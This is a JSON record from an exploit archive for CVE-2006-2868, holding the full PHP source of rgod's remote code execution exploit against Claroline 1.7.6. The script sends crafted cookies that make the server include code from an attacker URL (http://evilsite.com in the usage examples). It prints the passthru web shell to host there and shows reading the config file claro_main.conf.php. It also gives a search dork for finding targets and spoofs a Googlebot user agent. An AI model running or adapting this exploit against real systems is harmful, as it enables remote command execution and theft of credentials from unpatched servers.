{"exploit":{"id":"EDB-1877","name":"Claroline 1.7.6 - 'includePath' Remote Code Execution (RCE)","description":"Claroline 1.7.6 - 'includePath' Remote Code Execution (RCE)","cves":["CVE-2006-2868"],"author":"rgod","published":"2006-06-05","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1877","path":"exploits/php/webapps/1877.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1877.php","vulnerabilities":[{"id":"CVE-2006-2868","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in Claroline 1.7.6 allow remote attackers to execute arbitrary PHP code via a URL in the includePath cookie to (1) auth/extauth/drivers/mambo.inc.php or (2) auth/extauth/drivers/postnuke.inc.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2868","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2868"},"updatedAt":"2024-08-07T18:06:27.178Z","retrievedAt":"2026-11-27T06:08:33.595Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1877.png?v=2","url":"https://exploitbin.com/exploits/EDB-1877","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1877/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1877/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/php -q -d short_open_tag=on\n<?\necho \"Claroline <= 1.7.6 \\\"includePath\\\" remote cmmnds xctn\\r\\n\";\necho \"by rgod rgod@autistici.org\\r\\n\";\necho \"site: http://retrogod.altervista.org\\r\\n\\r\\n\";\necho \"dork: \\\"Powered by Claroline\\\" -demo\\r\\n\\r\\n\";\n\n/*\nworks with\nregister_globals=On\nallow_url_fopen=On\n*/\n\nif ($argc<5) {\necho \"Usage: php \".$argv[0].\" host path location cmd OPTIONS\\r\\n\";\necho \"host:      target server (ip/hostname)\\r\\n\";\necho \"path:      path to claroline\\r\\n\";\necho \"location:  arbitrary location with the code to include\\r\\n\";\necho \"Options:\\r\\n\";\necho \"   -p[port]:    specify a port other than 80\\r\\n\";\necho \"   -P[ip:port]: specify a proxy\\r\\n\";\necho \"Examples:\\r\\n\";\necho \"php \".$argv[0].\" target.com /claroline176/ http://evilsite.com ls -la\\r\\n\";\necho \"php \".$argv[0].\" target.com /claroline176/ http://evilsite.com cat ./..\\r\\n\";\necho \"/../../inc/conf/claro_main.conf.php -p81\\r\\n\";\necho \"php \".$argv[0].\" target.com / http://evilsite.com uname -a -P1.1.1.1:80\\r\\n\\r\\n\";\necho \"note, on remote location you need a\\r\\n\";\necho \"/lib/extauth.lib.php/index.html\\r\\n\";\necho \"with this code inside:\\r\\n\\r\\n\";\necho \"<?php\\r\\n\";\necho 'if (get_magic_quotes_gpc()){$_REQUEST[\"cmd\"]=stripslashes($_REQUEST[\"cmd\"]);}'.\"\\r\\n\";\necho \"error_reporting(0);\\r\\n\";\necho 'ini_set(\"max_execution_time\",0);'.\"\\r\\n\";\necho 'echo \"*delim*\";'.\"\\r\\n\";\necho 'passthru($_REQUEST[\"cmd\"]);'.\"\\r\\n\";\necho 'echo \"*delim*\";'.\"\\r\\n\";\necho \"die;\\r\\n\";\necho '?>'.\"\\r\\n\";\ndie;\n}\n\n/*\n  explaination:\n  is too hard to check the same folder of 1.7.5 exploit? really, too hard...\n*/\nerror_reporting(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\",5);\n\nfunction quick_dump($string)\n{\n  $result='';$exa='';$cont=0;\n  for ($i=0; $i<=strlen($string)-1; $i++)\n  {\n   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\n   {$result.=\"  .\";}\n   else\n   {$result.=\"  \".$string[$i];}\n   if (strlen(dechex(ord($string[$i])))==2)\n   {$exa.=\" \".dechex(ord($string[$i]));}\n   else\n   {$exa.=\" 0\".dechex(ord($string[$i]));}\n   $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\n  }\n return $exa.\"\\r\\n\".$result;\n}\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\nfunction sendpacketii($packet)\n{\n  global $proxy, $host, $port, $html, $proxy_regex;\n  if ($proxy=='') {\n    $ock=fsockopen(gethostbyname($host),$port);\n    if (!$ock) {\n      echo 'No response from '.$host.':'.$port; die;\n    }\n  }\n  else {\n\t$c = preg_match($proxy_regex,$proxy);\n    if (!$c) {\n      echo 'Not a valid proxy...';die;\n    }\n    $parts=explode(':',$proxy);\n    echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\n    $ock=fsockopen($parts[0],$parts[1]);\n    if (!$ock) {\n      echo 'No response from proxy...';die;\n\t}\n  }\n  fputs($ock,$packet);\n  if ($proxy=='') {\n    $html='';\n    while (!feof($ock)) {\n      $html.=fgets($ock);\n    }\n  }\n  else {\n    $html='';\n    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n      $html.=fread($ock,1);\n    }\n  }\n  fclose($ock);\n  #debug\n  #echo \"\\r\\n\".$html;\n}\n\n$host=$argv[1];$path=$argv[2];$location=$argv[3];$cmd='';\nif (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))\n{die(\"Check the path, it must begin and end with a trailing slash\\r\\n\");}\n$port=80;$proxy=\"\";\nfor ($i=4; $i<=$argc-1; $i++)\n{\n$temp=$argv[$i][0].$argv[$i][1];\nif (($temp<>\"-p\") and ($temp<>\"-P\")) {$cmd.=\" \".$argv[$i];}\nif ($temp==\"-p\")\n{\n  $port=str_replace(\"-p\",\"\",$argv[$i]);\n}\nif ($temp==\"-P\")\n{\n  $proxy=str_replace(\"-P\",\"\",$argv[$i]);\n}\n}\nif ($proxy<>'') {$p=\"http://\".$host.\":\".$port.$path;} else {$p=$path;}\n\n$script=array('mambo.inc.php','postnuke.inc.php');\nfor ($i=0; $i<=count($script)-1; $i++)\n{\n$packet =\"GET \".$p.\"claroline/auth/extauth/drivers/\".$script[$i].\" HTTP/1.0\\r\\n\";\n$packet.=\"User-Agent: Googlebot/2.1\\r\\n\";\n$packet.=\"Cookie: cmd=\".urlencode($cmd).\"; includePath=\".urlencode($location).\";\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n#debug\n#echo quick_dump($packet);\nsendpacketii($packet);\nif (strstr($html,\"*delim*\"))\n{\n  echo \"Exploit succeeded...\\r\\n\\r\\n\";\n  $temp=explode(\"*delim*\",$html);\n  die($temp[1]);\n}\n}\n//if you are here...\necho \"Exploit failed...\";\n//debug\necho $html;\n?>\n\n# milw0rm.com [2006-06-05]","sha256":"ccbbca3b9fc00e6dd07bb1ee84964bcdd1a1bef4bae9718e76aa732a32926959","bytes":4244,"fetchedAt":"2026-11-27T06:08:28.866Z","encoding":"utf-8 (display only; download retains original bytes)"}